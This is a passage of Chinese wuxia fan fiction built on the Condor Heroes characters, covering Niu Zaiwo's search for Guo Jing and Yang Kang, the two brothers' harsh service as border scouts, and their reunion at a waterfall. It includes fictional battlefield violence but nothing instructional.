陈子云倒是有跟他解释的意思,可想到这些是给宫中的那位师娘的,牛在我就不敢听了。 倒不是怕那位怪罪,只是牛在我觉得,师傅虽然这些年都没有再见师娘,可毕竟是自己的长辈,自己不好介入他们之间的。 “等等……” 牛在我正打算放下今年的书稿就离开此处,却被一身有些尖锐的公鸭一般的嗓音给吓了一跳。 作为陈子云的首徒,这些年又在桃花岛上潜心修炼,如今的牛在我就算是面对江湖上一流的人物,也是绝对不会怕。 可这个声音在自己现身之前,他却没有丝毫的感知道对方的所在。 “谁?” 牛在我戒备的望向四周。 第三百一十七章 近况 “哼,天下第一人的徒弟,也不过如此。” 一袭红衣从亭子上方飘落,肆无忌惮的拿起牛在我放在亭子中的书稿,随意的翻弄着。 “你是谁,不得擅动。” 牛在我虽然感觉到了对方的非同小可,但是自己师父给师娘的书稿,又如何能落在外人手里。 “哼,又不是武功秘籍,你紧张什么,要不是如今那丫头坐上了尊位,老夫还懒得做这跑腿的。” 红衣的语气甚是不敬,好像如今那千古唯二的女帝,在他看来似乎不值一提似的。 “牛在我见过前辈,不知前辈如何称呼?” 牛在我也意识到,在这临安城里,如此打扮的只能是皇宫大内出来的人物了,又想起自己师父曾经提到过的那位宫中的红衣大内侍,便猜到了对方是什么身份。 “哼,无根之人,何来姓名,难道非要辱没自己祖宗。书卷我拿走了,也顺便让你带句话给你那位缩头师傅,既然他当初选择了离开,就别想着回来,也不要将爪子伸出来,否则,哼哼。” 红衣的最后一哼,曲折婉转,传达的含义不言自明。 “前辈……” 牛在我还想为自己的先生鸣不平,却发现,对方已经消失在自己的视野里了,就这份轻功,恐怕就不输于那位东邪黄药师了。 至于说,自己的那位先生,这些年来就连那位天下无绝之一的东邪黄药师也看不透先生到底到了何种境地,何况是他。 …… “以后这种事情,你让小安子他们去就是了,这一堆不知所谓的东西,你难道还真怕有人能来抢不成?” 红衣没好气的将那一堆稿件扔在了赵茵萝的御案上,脸上没有丝毫的客气。 “辛苦红衣前辈了,只是这些不起眼的书稿,实在是关乎我大宋的国运,茵萝不敢假手他人,所以才劳烦前辈出手。” 赵茵萝这些年也摸透了这位老人家的脾气,耐心的解释了一句。 “哼,老夫没空陪你玩过家家,小安他们五个不是做的挺好的吗,你也可以把一些不要紧的事情让他们做就是了。 别学你那位父皇,什么都要抓字啊自己手里,到最后把自己活活累死在皇位上,值当吗?” 红衣这般的出言不逊,要是换做任何一个当朝的大臣,估计连坟地都找好了,他却是毫不在意,似乎这对于他来说不过是寻常。 “既然前辈实在不愿意,那下次就由朕自己去好了,这些东西实在不好过他人之手。” 赵茵萝道。 “随你的便。” 红衣皱皱眉头,直接就消失在了宫廷深处。 赵茵萝右手捏着这打刚拿回来的纸稿,左手却是不自觉的用手指敲击着桌面,这个思考时的小动作,还是从陈子云那里学来的。 当她做出这个动作的时候,就说明一个重要的决定将要做出了。 …… 牛在我在离开了牛家村之后,按照陈子云的吩咐,要到如今的南宋边境的军队中去找两个人。 郭靖跟杨康,这对陈子云当时没有带走的兄弟,如今正被赵茵萝这个师娘安排到了边军中历练。 自从陈子云离开之后,留下来的小白狐被养到了皇宫的内院的御花园里,天天锦衣玉食的伺候着,活的就像是狐狸中的皇帝。 除了三宫六院,小白已经把这人间能享受的清福都给享受过了。 而那两个被陈子云丢下的弟子,却没有那么好的待遇了。 也不知道是不是赵茵萝把对于陈子云的怨气都发泄在了这两个小家伙身上,说是严格要求,师娘亲自指导,可那手下不留情的场面,要是被这两小家伙的家长看到了,保准要心疼不已。 两个小伙子各有千秋,郭靖憨厚,没什么心机,可胜在专心致智,肯吃苦。杨康机灵,天赋过人,不管学什么,只要稍微花点时间就能融会贯通。 赵茵萝因材施教,让郭靖跟着名将学冲锋陷阵的笨本事,让杨康学算计人心的活兵法。 至于武功,自然是她这个做师娘的亲自来教,不管是蠢笨的郭靖,还是机灵的杨康,只要达不到预定的目标,那就是绝不手下留情的一顿教训。 以前在两个小子眼中,她这个做师娘还是高贵典雅的存在,可这些年下来,他们怕师娘超过了自己那位不辞而别的师傅远矣。 如今他们两个小家伙,但凡被赵茵萝教训了,就嘴里念叨,为何当初师傅不将他们一起带走,让他们在师娘手中如此受罪。 当然这话基本是杨康在说的,老实人郭靖只是在一旁沉默着,最多就是附和着点点头。 不过他们如今也是十七八岁的大小伙子了,被赵茵萝丢到了边疆的军营中,为的就是让他们熟悉战场的厮杀,而不是只做个知道在江湖上逞勇斗狠的无用之人。 如今的宋金边境,虽然没有大的战事发生,但是几十人,几百人的小摩擦基本是隔一个月就要来一次。 不一定是哪边的故意挑衅,只是双方巡逻的斥候不巧碰到了,几代人积累下来的仇恨,自然是不可能笑着打个招呼就能过去的。 郭靖跟杨康被编进了一只最靠前的边境斥候小队中,这到不是赵茵萝特意安排的,只是他们两人下去的时候,赵茵萝有意隐瞒了他们的身份而已。 而当两人的本事在军中被上官发现的时候,那么最需要高手的斥候小队,自然就成了他们的第一选择。 所以,两人在参军一个半月的时候,就经历了一场真正的沙场上的血肉之搏。 隐匿,暗杀,弓箭,陷阱,无所不用其极,只为了杀死对方,而让自己以及自己那些个同吃同住了一个多月的弟兄活下来。 没有人会考虑对方是不是无辜,是不是被迫,因为当对方举起刀,砍向你所熟悉的人的时候,你的下意识就会让你自然的做出选择,不用丝毫的犹豫——唯杀而已。 当一场筋疲力尽的大战下来,看着斥候小队队长熟练的将地方的左耳割下,塞进自己的军功袋中。 “按规矩,这次算我的,下次才有你们的。” 小队长拍拍那装了整整一袋子的耳朵,对着郭靖杨康,这两个杀的最多的新人,毫不客气的说道。 第三百一十八章 历练 而那些活下来的,不管是受没受伤的,都是笑着,打趣着。 郭靖从发愣中回过神来,有些不明白的看向自己聪明的弟弟,杨康只是稍微的想了几秒,就笑着跟那位强抢功劳的小队长搭上话了。 郭靖只能带着满脑子的疑问,等回到了营地里,才向自己的兄弟开口询问。 可杨康只是反问了他一句,你要功绩做什么? 是啊,他们作为陈子云的弟子,当朝女帝教出来的徒弟,为何要在意这些不过几十几百的功绩? 心胸天生宽广的郭靖瞬间就笑着安睡了。 可杨康这回答,不过是吃准了他这位大哥的心态而已,其实他心里的答案要复杂的多。 不管是这军营里,杀生的规矩也好,还是那位斥候小队长一时贪图功劳也罢,竟然对方敢在这么多人的面前,肆意的抹杀别人的功绩,那只能说明他们有恃无恐。 而如果他们在不暴露身份的前提下,又没有办法解决这样的不公,那就是足够说明,他们那位师娘之所以让他们来这地方,很有可能就是让他们来解决这类问题的。 历练,可从来都没有说是单纯的让他们上战场杀敌,以他们的身手,去屠戮这些跟普通人无异的士兵,实在是说不得什么光彩的事情。 …… 牛在我到了两个小师弟所在的军营,却被告知两人正在执行任务,暂时不能接受亲属的探视。 牛在我稍微有些意外,按他的想法,自己这两位师弟从军也不过月余,此时不应该还在营中操练才是的吗。 不过他从来都是随和的脾气,既然是此时不方便,那自己就再等他们几天就是了。 军营之中自然是不能留宿外人的,而因为这座军营离最近的南宋城防又有些距离,牛在我就只好选择在附近山林里露宿了。 好在以他如今的功夫,也不至于会被这些个风霜侵袭。 可如此等了三天,每天牛在我都去军营中打探一番两人的消息,可得到了依旧是执行任务未归,这就让牛在我有些担心了。 “敢问这位,我那两位弟弟,到底是去执行什么任务了,是不是有什么情况,或者会不会是出了意外?” “大胆。” 谁知道那位军士直接一声大喝。 “竟敢打探我军中情报,你可是金国奸细?” 军士直接将手中的长矛指向牛在我,神情戒备。 而随着他的低声呼喊,其他负责守卫军营的士兵也都围了上来。 “误会,诸位,在下怎么会是金国的奸细呢,我是来找我两位弟弟,他们分别叫做郭靖、杨康,是大月两个月前来的军营。 我都来了三天了,还没见到,所以才着急的问下情况。” 牛在我连忙解释着,这些寻常的兵士自然是不可能给他构成威胁的,只是他素来都是讲道理习惯了。 “那既然如此,你跟我进去见长官,到时候你跟长官解释去。” 那位小兵似乎认定了牛在我有问题,跟其他几位同伴使了一个眼色就一起围了上来,步伐之间都是防备。 牛在我看着情况,心中无奈,曾经他见过的那些南宋军队可没有这样的素质,看来师娘这些年来整治军队确实是起了作用的。 可他也不是当初那个傻乎乎的少年郎了,此时自己要是真的被这些人给压进军营里去,到时候他就是想解释也解释不清了。 他可是知道边军队与金国奸细的处置手段的,就是单单自己先生跟自己讲过的那些,关于两国暗探之间的相杀,那可是以命换命的相搏的。 况且,自己来了三天都没见到郭靖跟杨康,也让他有些怀疑,这两个小师弟是不是出了事情。 要是明刀明枪的来,牛在我相信,这里的人没有一个会是那两位师弟的对手,可就怕被施了暗手啊。 别以为有个天下第一的师傅,有个千古唯二的师娘,这些人就不敢对你动手。在关乎切身的利益的时候,多大的后台都没用,何况天高皇帝远的,就算是两人站在他们面前,这些人也不认识啊。 况且,既然是来历练的,郭靖跟杨康肯定不是以皇帝陛下的徒弟来军营的,肯定是隐藏了身份,才能起到效果。 牛在我一边琢磨着,一边警惕的往后退却着。 “呀!” 突然有个军士大喊了一声,直接一矛就往牛在我的脚下戳来,而其他的人也是配合着,从不同的角度,戳向牛在我的各个部位,目的明确的,就是要拦下他往各个方位逃跑的可能。 “哎!” 一声轻轻的叹息过后,几柄锋利的长矛瞬时洞穿了牛在我的身躯,好在对方的意图只是为了抓捕,而不是为了格杀,长矛瞄准的地方都不是要害所在。 可当这些明明眼睁睁看着自己的长矛捅进了对方身躯的士兵,却都露出了仿佛见了鬼一般的表情。 常年的军旅生涯,如今能被派到这里来看守军营第一道防线的,自然都不是没见过血的雏儿。 在矛尖碰到对方的第一瞬间就知道了不对劲,他们的矛头戳到的地方就像是进了水里一般,全然不受力,绝不是戳进人体血肉的表现。 而当他们仔细看那人的时候,却发现,他们戳中的哪里会是人,不过就是如遗蜕一般的对方留下的一件衣服而已。 可那衣服却又是诡异的立在那里,就算是他们的矛头已经刺破了,还是不曾倒下。 几人就算是见惯了沙场,自信一身戾气从不信鬼神的,此时也是不由自主的咽了口唾沫。 “啊哈!” 就在众人都不知如何是好之际,一个看着年纪稍大的军士,大喝一身,搅动手中的长矛,瞬时就将那件透着诡异的长衫给搅碎成了布片。 “怕个甚,要是真有鬼神,那咱们回家拜祖宗不就完了,还打什么鸟仗!” “不错。” “对,于大哥说的不错。” “怕他个鸟。” “……” 众人有了主心骨也就凭着战场上练出来的几分悍勇之气,将这诡异的一幕给压了下去。 第三百一十九章 暗号 “六子,那人说的郭靖、杨……杨什么来着?” “杨康。” 那个被称为六子的,也就是牛在我一开始接触的那个士兵道。 “对,这两人你到底查过没有,是不是我们这儿的。” 于大哥问道。 “当天我就找老刘头查了,是我们这儿刚来的新兵蛋子。” 六子回道。 “那……那你整这一出?” 这下不只是于大哥,别的那几个士兵也皱眉了,要是对方是自己人的亲属,那他们这般对人家可就有些过火了。虽然人家的本事高,没把他们放在眼里,可这不是待客之道啊,于是纷纷瞪向六子。 “别啊,各位哥哥,不是我不想说啊,而是那两位去了前边了,这营里的规矩,几位哥哥是知道的,去了那边的人,我又怎么能说出他们的行踪来呢?” 六子委屈巴巴的解释着。 “前边?” 于大哥还有些不信。 “就两个新来的小子?就去前边了?” 众人也是瞪大了眼睛。 “完了,你这小六子呦,害苦了哥哥们了,到时候人家从前边回来了,如何解释?就说我们赶走了他们的哥哥,不怕人家连你的耳朵一起当军功给收了?” 于大哥愤然道。 “可这,六子我也没办法啊,军令如山,我又不能透露那两个的行踪,只能托着他,可他非要问,那我就打算着吓唬吓唬他,谁知道……” 六子委屈巴巴的说道。 “嘿,你小子!我们帮你还帮错了是吧。” 众人差点多久没忍住,教训这小子一顿。 “别闹,如今还是赶紧将情况报上去。要是那两个小子能活着回来,立刻就是我们的上官了,到时候要是知道我们亏待了他们的哥哥,咱们就等着穿小鞋吧。” 于大哥制止了众人。 众人相互看了一眼,随后就将目光都集中到了六子身上,意思很明显,你惹出来的祸患,当然是要你自己去顶着。 六子耷拉着脑袋,也意识到这下可能hi祸事了,只好认命的就往值日的长官的营帐里去了。还不知道这位历来就手下不留情的长官,会怎么收拾他呢。 …… 等郭靖、杨康执行完任务回来,他们的那位直属的长官,就将这件事情告诉了他们。 郭靖听着描述就知道一定是他们的那位大师兄来找他们了,可听到发生了这样的误会,一时又不知道要如何处理。 此时去找牛在我又不知道对方去了何处,怪那些不识人的守门士兵又说不上,毕竟人家都是按照军营里的规矩行事而已。 不过好在他有个会动脑子的弟弟,杨康不过是略微的思索了一番,就直接拉着郭靖出了军营,然后就在那座靠着军营不远的树林里搜寻了起来。 只见杨康,一会儿在那颗树上摸摸,又到那颗树下瞧瞧。 没一会儿就跟茫然无措的郭靖打了个招呼,让他赶紧过去。 郭靖正想不通自己这位康弟弟是在做什么,就看到杨康指给他看的那颗树上正刻着一些渔虾蟹的图案。 “是大师兄留下的记号!” 郭靖立刻明白了。 原来,牛在我在他们小时候,就喜欢教完功夫后,带他们去牛家村的河里抓鱼捕虾。 不但可以消除他们对于练功积累下来的精神上的疲劳,也能用这些河鲜来打打牙祭。 因为两人刚开始的时候,还必须每天去私塾里上课,上完课后才能跟着牛在我练武。而牛在我也不是专门等着他们的,他也有陈子云安排的课业要完成。 所以为方便约定见面时间,牛在我索性就用这些图案,在学院里的一些树上做记号,以此来通知,今天他们要去哪里找他练武。 而这些一开始比较随意的记号,也在三人不断的改良下,成了他们之间的秘密联络方法。 只是这些年,因为牛在我跟着陈子云走了,而他们两人又是整天形影不离,自然就用不上这些,所以郭靖也就忘了这一茬。 而杨康心细如发,在猜到是牛在我来的第一时间,他就想到了,牛在我必然会在附近留下标记。 所以便拉着郭靖一起来找,没想到这位愚钝的兄长,竟然丝毫没有反应过来,只是像个傻子一般的愣在原地。 还好,牛在我画的记号的位置够明显,要不然靠杨康一个人在这片不小的森林里可要花大功夫。 “鱼头指明方向,虾脚表示距离,螃蟹上画着时间。” 郭靖此时也回忆起了他们三人小时候的联络方式。 “牛大哥,在东北方向,大约十五里外的地方等我们,时间是——不变。” 杨康直接将牛在我留下的记号给翻译了出来。 “不变?” 郭靖纳闷的问道。 “牛大哥指的就是,当时我们经常约定的时间,也就是私塾下课之后,太阳落山之前啊。” 杨康聪明的脸上也泛起了一丝丝的怀念。 “啊,那岂不是,牛大哥,这些天一直都在等我们?” 郭靖也难得的聪明一回。 杨康默然的点点头。 郭靖直接一把拉住杨康的手,也不容他反抗,拉着对方就往东北方向去了。 …… 水声隆隆,两人刚靠近目的地附近,就被这巨大声响给吸引了。郭靖跟杨康来这里也有两个月了,可平时不是在军营里训练,要么就是在出任务,这军营附近有什么景致,他们是真的不清楚。 如今看你到这气势宏伟的山间瀑布,也着实让他们惊诧不已。 “牛大哥。” 郭靖一时忍不住心中的激动,直接大声的喊道。 可惜这喧哗的水声直接将他的呼喊声给压了下去,除了在他旁边的杨康,估计谁也听不着。 “牛大哥……” 郭靖还是不死心的继续呼喊着,他相信只要自己这般喊下去,就一定能让牛在我听到。 而杨康则是细致的观察着四周,在他看来,既然牛在我跟他们约定的是这个地方,那自然他就会在这附近等着,哪怕这里的水声再响,以牛在我的功力,总是能发现他们的到来的。 第三百二十章 试探 “牛大哥……” “咻……” 郭靖刚准备继续喊着,却听得一声轻微的破空声藏在瀑布的喧闹中朝着他们而来。 “小心!” 郭靖将杨康往旁边一推,两人同时跳了开去,一枚石子好似利箭一般从他们的耳畔射了过去。 “谁?” 杨康虚指着一个地方呼喝到,似乎他已经发现了对方的藏身之处。 可对方明显没有被他这么简陋的虚张声势给忽悠出来。 “咻咻……” 接连的两声破风。 郭靖跟杨康,下意识的翻身躲闪,这次的两枚石子直接咄咄两声射进了他们身后的崖壁之中。 都不用看,凭着这些时间练出来的听力,就知道这劲道,就是跟军中的神射手射出的弓箭也不差了。 而且这两颗石子射来的方向,并不是同一处。 这种情况,要么对方有两个人,并且这两人都是功夫高深的厉害角色;要么这个人厉害的能在瞬息之间变化方位,同时还能射出这般力道的石头,那就是更加的可怖了。 “咻咻……” 还不等两人反应过来,又是两声破风。而且这次对方没有再分开袭击两人,此时的两颗石头尽然都是朝着郭靖来的。 一颗打他的下腰,另一颗打他的右脚。 这两个位置但凡被打中一出,郭靖立刻就没有了移动的便利,到时候就是待宰的羔羊。 郭靖下意识的先避让那颗攻击他腰部的石子,这是人类的本能发应,因为相比于四肢而言,人们总是会选择护着柔软的有内脏的需要保护的部位。 可当他堪堪的避过了这打向腰部的石子后,却发现自己要发力抬腿的时候,自己的腰因为扭向了一边,导致这腿脚竟然一时抬不起来了。 糟糕,对方明显是算准了这一点的。 “碰。” 杨康不知道从哪里找来的一根树杈子,直接一下子打在了那颗石头上,虽然树杈子是档不下这犀利的石子的,但杨康这一击明显是预先计算过角度的,刚好将那颗石子打偏了一些方向,以至于郭靖的衣角也没能碰到。 “嗯!” 一声缥缈的声音从瀑布那边轻轻传来,可奇怪的是竟然没有被这浑厚的水声给压下,这人在音波功夫上的造诣必然不低。 “牛大哥,是你吧。你要试探我们功夫,我们直接过过手就是了,何必藏头露尾的,这可不是你的所为啊。” 杨康朝着那瀑布方向喊道。 可惜,并没有人回答,或者说回答他的只有三颗几乎是同时而来的石头。 “咻咻咻……” “小心。” 郭靖大叫一声,在听风辩位的笨功夫上,他是强过杨康一些的。 也不管自己的拳头能不能接的下着劲道十足的石子,就直接一拳砸过去。 杨康已经将手里的那根树杈子舞成了狂风一般,他这一招是有讲究的,是化用了赵茵萝教的红袖刀中最适合借力用力的法子,显然他也是意识到了,这几颗石头中蕴含的力道惊人。 “噗噗噗……” 三声连响,一颗石头与郭靖的拳头碰撞,两个石头在穿过了杨过的树杈子之后,还是打在了杨康的身上。 郭靖只觉得自己的右手像是被点中了麻穴,而杨康觉得那两颗石头打在身上,就像是被人狠狠的锤了两拳。 “傻小子内力强一分,聪明小子技巧胜三分。” “都不错,很好,很好,都没偷懒。” 当这个熟悉的声音出现,不管是强忍着疼的郭靖,还是在心里诅咒人的杨康,都喜出望外的看向了来人。 “牛大哥。” “大师兄。” “哈哈哈,好好,都是大小伙子了。” 突兀的出现在两人身旁的牛在我,一只手稳稳的靠在了郭靖的肩头,另一只手却被机警的杨康给挡下了。 “牛大哥。” 杨康收起下意识的伸出的手臂,略显尴尬的称呼道。 “郭靖是郭靖,杨康是杨康,难道你杨康要跟这个傻小子一般,连点防备都没有,那叫我跟先生如何能放心你们?” 牛在我拍拍杨康的后背,示意他不要在意。 “谢大师兄指点。” 杨康作揖拜道。 “哈哈哈,郭靖,看看你这位弟弟,以后要是有为难做的决定,多听听杨康的,不管对错,保准不让你吃亏就是了。” 牛在我从来都不是什么道德圣人,对于这两位同样来自牛家村的又是自己唯二的师弟,自然是百般的呵护。 “康弟弟本来就是聪明的,我都是听他的。” 郭靖摸摸自己的后脑勺,坦率的说道。 “这样也好,有个人拿主意,也省的两个人起争执。就是不知道等你们俩个都成了家之后,是听媳妇的,还是听兄弟的了,哈哈……” 牛在我开怀大笑的打趣着两人。 说到这种事情,就是连向来伶俐的杨康也被说的有些耳赤了,毕竟他们这个年纪,没有什么被自己的家里长辈说道终身大事更难为情的了。 反倒是郭靖,索性就是一脸的傻笑,反正从小都习惯了,家里的事情听妈妈的,学校里听老师的,出门之后听师娘的,或者听自己的康弟弟的。 哦,当然第一位是要听先生的,虽然先生已经好几年没见了。 可在郭靖心中,自己的这位师傅,就是天神一般的存在,即使从来都是牛在我这位大师兄在教他们功夫,可从师兄的言传身教中,总是你能听到他说,先生如何如何的厉害。 所以,郭靖跟杨康,可以说是在牛在我对于陈子云不断的神话中成长的。而当他们被赵茵萝这位皇帝师娘教育的时候,对方虽然没有明说什么,但偶尔提起的几句,也能让他大致明白,原来师娘的功夫也是先生教的。 以他的见识看来,牛在我是神乎其技的,师娘的功夫则是鬼神莫测的,那自己那位先生会高到什么程度,就算是以郭靖这样的死脑筋也能猜测到几分了。 可惜自己实在愚笨,总是学不好师娘教的那些高深灵巧的功夫,康弟弟就不像他,连师娘最得意的红袖刀都学得有模有样的。还答应,要是这趟他们在军营中表现得当,等回去了,就给康弟弟寻一把宝刀来。 第三百二十一章 古怪拳法 而自己,除了小时候跟着牛在我学了些简单,明了的功夫,师娘后面教的一些寻常的招式到还好,可那些过于高深的,他是学了这招,就忘了那招。 好不容易学到了最后,最前面的又忘了。 气的赵茵萝这位师娘,不知道多少次拂袖而去。要不是康弟弟在旁边劝说着,自己怕是早就要被逐出师(娘)门了。 后来,师娘也开始厌烦自己了,就找了一位看着有些古怪的老人家来教他。那人老得好像随时都能死去似的,满脸的深邃的皱纹,还有那永远的一身红衣。 当时那位红衣红袍的老人,上来就抓住了他的脉门,指着他的脑袋说了一句。 “基础打的不错,内力却是一塌糊涂,陈子云就是这么教徒弟的。嘿嘿,还不如老夫呢,天下第一,哼。” 郭靖才反应过来,原来这位老人家是认识自己师父的。 “老人家,是郭靖自己愚钝,跟师傅无关,而且,我大师兄,还有我康弟弟,他们都比我厉害,所以你不能这么说我先生。” “不能说,为什么不能说,他陈子云当了乌龟,难道老夫还说不得了。” 那红袍老人斜着嘴角笑着,眼睛斜着看向郭靖。 郭靖当时被气的直接涨红了脸,他想维护自己先生,可手被对方捉着,丝毫使不上力气来。 只好大口大口的换着气,却毫无办法。 “哼,连自己的气息都控制不了,徒弟这样了,陈子云的本事也大不到哪里去了。” 红袍老人当时的表情,郭靖是如此的清晰的记着,当时心中发有一种从来没有体会过的屈辱与愤怒。 可后面,也就是这位红袍老人,说是受了师娘的委托,来教他一门拳法的。并且嘱咐他,让他永远要记着刚才的那种怒火中烧的感觉,因为这么拳法,不靠外力,只靠这胸中的三两不平之气。 要是没了这种愤怒的情绪,就算是学了这拳法,也发挥不出三分的威力。 “是。” 郭靖当时恭恭敬敬的给老人行了一个礼,虽然这位老人家怎么都不肯受他的拜见,说他与陈子云不可能当同一个的师傅。 而且他教的这么拳法,他自己也不会,只是按照得来的拳谱教他的,算不得收徒。 至于这古怪拳法的名字,郭靖记得当时的拳谱扉页上就写着,“人间不平事”就这么个完全不像拳谱名字的名字。 郭靖打开拳谱,里面画着的,写着的确确实实是拳法的精要。 郭靖怎么说也是有家学渊源的,何况在这之前也跟着牛在我学过了武功,一些简单的拳谱还是能看得懂的。 这所谓的“人间不平事”拳谱,招式上并没有什么稀奇古怪的地方,反而大开大合,很是适合郭靖这样的直性子。 只是其中的运力关窍上,却是写着很是怪异的难以理解的文字,让人看了都不得要领。 其中最核心的一句,就是,“眼见人间不平事,拳出当有怒三分”。 每个字郭靖都认识,可就是不懂何为不平事,何为三分怒。 当时的红袍老人只是丢下一句。 “蠢货。” 就不再理会他了,只是后面会每隔几天就来看看郭靖的练拳进度,每次走的时候,就又是“废物”,“傻子”,“蠢牛”这类的词。 郭靖倒是不怪他,他也知道自己本来就不聪明,自己妈妈也吩咐过,要是有人说他不聪明,那也不要当真,自己记着,努力做好就是了。 别人学一遍,他就学三遍,三遍还学不会,就再学三遍。 先生也说过,不怕别人知道自己聪明,就怕自己不知道自己笨。 郭靖虽然不是完全明白,但是如今略微的领会到了,那就是自己比不得别人一学就会,那自己就学十次百次,总有自己能学会的一天。 所以自从学了那套“人间不平事”的拳法之后,郭靖从来都没有丝毫的懈怠过,就算杨康拐弯抹角的提醒他,这套拳法并不怎么高明。 …… “聪明小子的刀法已经算得上是登堂入室了,郭靖,你这拳法的路数我怎么没见过,是谁教你的?” 牛在我带着些好奇的问道。 郭靖对牛在我自然是丝毫不会隐瞒的,就将红衣怎么教他这么拳法的经过,都一五一十的讲了出来。 “原来是那位前辈。” 牛在我若有所思,他自然是知道,这人作为南宋皇室的隐秘力量,功夫是不输给天下五绝的。 至于说“人间不平事”这套拳法中的诡异,对于他来讲也不是没有遇见过。不管是东邪黄药师的碧海潮生曲有挑拨人心中欲念的功效,还有自己先生那门例不虚发的小李飞刀,也是讲究至情至性才能发挥出最大的威力。 郭靖小子能的此机遇,也算是可喜的了。 “嗯,既然你觉得练的不错,那就继续练下去。记得我以前跟你说过的,比比人笨不怕,只要你自己比别人努力,总是能追上的。” “是,牛大哥,郭靖不敢忘的。” 郭靖认真的回答道。 “好。给我讲讲,你们这些日子的在军中的情况,虽然说师娘的安排我这个做弟子的不好置喙,但是以你们的本事来当个大头兵,我是怎么也想不出这对你们有什么好处。” 牛在我拉着两人在瀑布旁坐下,就跟小时候,带着他们在河边烤那些捉来的新鲜河虾一般摸样。 对于这种需要伶俐口齿的事情,自然是杨康来交代的,只是说道动情处,郭靖才会神情激动的插上两句。 杨康从赵茵萝有意教导他们两人战场上的本事说起。 说到上马而战,跟平时的江湖路子是多么的不同。 军事谋略,又跟小时候跟着自己父亲上山打猎时要用到的小技巧多么的相似。 最后,这些天随着这支最靠近前线的军营的斥候小队,如何的进退如意,杀伐不留情。 虽然这些人的本事都比不上他们两兄弟,但是在战场上的果断,狠辣却是要比他们高明很多。 就是这些人不但对敌人狠,对自己人也是一样。尤其是对那些已经受重伤难以活命的队友,他们会毫不留情的就补上一刀。 第三百二十二章 怪规矩 一开始两人都试图阻止,那些人也绝不是两人的对手,可是当那个受了重伤的人,开口骂他们多管闲事的时候,他们才明白,原来在这个特殊的斥候小队里,死并不是一件让人最放不下的事情。 “如果是在任务的归途,那我们可以想办法带上他们。但是只要任务还没有完成,那这些重伤的人,你们就当他们死了吧。 朝廷会按照战死的抚恤发放,我们不用带着一个如此的累赘,他们不用担心自己被山里的野兽啃食,也不用担心被地方的斥候俘获,最终还要受到非人的折磨。 他们唯一要做的就是放弃那能够得救的侥幸心理而已,又有什么难的。” 这就是当时那位私吞了他们军功的小队长的话。 当时除了杨康与郭靖,所有人都是一副理所当然的摸样。 他们两人自然是无法接受的,当小队长从腰间掏出一把精致的有些不合时宜的小刀,一个个的抹过那些重伤的军士的喉咙,他们看到那些人含笑而死的情景,可以说是这辈子最令他们悚然的时刻。 他们在郭啸天跟杨铁心那样父亲的教导下,自然都有一份少年气的不畏死的的壮志。 可那也是想象着有一天能与家国仇敌相互厮杀,血染沙场,马革裹尸的场面。 被自己的队友抹脖子,哪里会是他们想象中豪杰、英雄的归宿? “大师兄,当时有个同样受了重伤的,算是引我跟郭靖入营的家伙。那家伙也是队伍里,最懂得逗人开心的,说来也是奇怪,这样一只随时都要送死的斥候队伍里,竟然会有他那么一个不合时宜的。 那次,等我们将突然出现的敌人被我们收拾干净之后,就看到他跟一个敌人相互刺穿了对方的胸膛。 那个金国的斥候倒霉,直接被那家伙一剑穿了心脏。而那家伙自己更倒霉,穿了肺,血流地到处都是,就是没死。 那一呼吸,就要咳出血的痛苦,估计他当时也是恨不得立刻死了的。 那家伙还特别的怕疼,就算已经是满嘴的血了,还是在那里喊着疼,小队长第一个反应就是抹了他的脖子,连一句安慰的话都没说。 后面我们才知道,那家伙竟然是小队长的亲弟弟。” 杨康说道这里,停顿了一下,郭靖已经两眼潮红,捏着拳头强忍着。 “嗯,这些个倒是在江湖中少见的。” 牛在我低低的说了一句,对于军旅生涯,他确实没有什么发言权,不过其中反应出来的人性,让他也有几分感慨。 “是呢。那次我跟郭大哥都发了狠了,跟着队伍将但凡遇见的敌人都杀了。那位小队长也毫不客气将那次任务的所有军功,哦,也就是敌人的左耳都收入了自己的囊中。 整个小队,当时活下来的人都不到原来的三分之一了,而这些人,似乎没有丝毫的不满。 后面我们才知道,一旦斥候小队的成员死亡超过半数,那这只小队就要被取消,小队长自然也就待不下去了。 而那些军功就会被用来补偿那些死去的队友,其他活下来的人还要接受惩罚。理由自然也很简单,死了这么多人,你们却完好的活下来了,那就替那些死了的受点委屈吧。“ 杨康缓缓的说着。 “牛大哥,我们自小就跟着你读书,不管是书院里的夫子,还是你跟先生,都没有教过我们这般的道理。 可当这道理摆在我们面前的时候,我们却连丝毫的反驳都做不到,还像这规矩,就跟书里的圣贤道理一样的不可辩驳。” “书里的道理,但凡是那些颠扑不破的,也就是从生活里来的,要是这道理在生活里站不住脚了,那你们也别管他是哪位贤人圣者讲的,尽管将它们丢到一边去就是了。” 牛在我道,这语气里多少有些不以为意的态度,似乎对那些应该被奉若神明的圣贤并没有几分尊崇。 “牛大哥,你……你怎么……” 郭靖本来是安安静静在一边听着的,可当牛在我说出这危言耸听的话来,也不由得有些激动了。 “哈哈,郭靖,你不用在意,这话我不是对你说的,你也不用纠结,还是照着自己的心思,安安分分的。这些数典忘祖的东西,交给你这位聪明的弟弟思索就是了。” 牛在我拍拍郭靖已经比自己还宽阔了几分的肩膀,笑着说道。 “可是……” 郭靖的直脑筋还是转不过弯来。 “郭大哥,你别多想,难道大师兄还能害我们不成?” 杨康开口道。 “那当然不会的。” 郭靖连忙解释,还很是不好意思的看了牛在我一眼。 “哈哈哈……你们两兄弟啊!” 牛在我看着杨康讲郭靖拿捏着死死的,不由得想起了他们小时候的摸样,不由得就笑出了声。 后面杨康也跟着讲了一些,关于没有任务的时候,在军中的生活,平淡中透着些不曾体会过的新奇。 至于终于有机会,将自己的关于如今宋金两国的战略以及军事上的要紧事情,与牛在我讨教,则是让他说的都有些停不下来了。 如果不是旁边的郭靖,眼看着都要无聊的睡着,而跟营中长官请假的时间也快要到了,杨康真想拉着这位难得能跟自己说得上话的大师兄好好的唠唠。 “牛大哥,要不你也来参军吧,就来我们军营,以你的本事……” 郭靖在告别的时候,有些不舍的提出了一个异想天开的建议。 牛在我拍拍两人的肩膀,示意他们赶紧回去。 “参军啊,恐怕是没这个闲工夫了。” 其实牛在我这次被陈子云派出来,还要一个最重要的任务,就是重新进入金国复地,去组建新的情报网络。 相比于以前陈子云有子虚的底子,牛在我此次去金国,两袖清风,却是什么都没有。 如果陈子云临走时给他的那些关于曾经的子虚暗探用过的,还可能不曾被捣毁的据点算一点基础的话,那他手里倒是有不下十处的大本营。 可如今快十年过去了,那些地方,就算侥幸还在,恐怕不是被人占了,也就是成了蛇鼠一窝了。 一个蛇鼠窝啊,当然可能还有几只黑寡妇。 第三百二十三章 入蒙 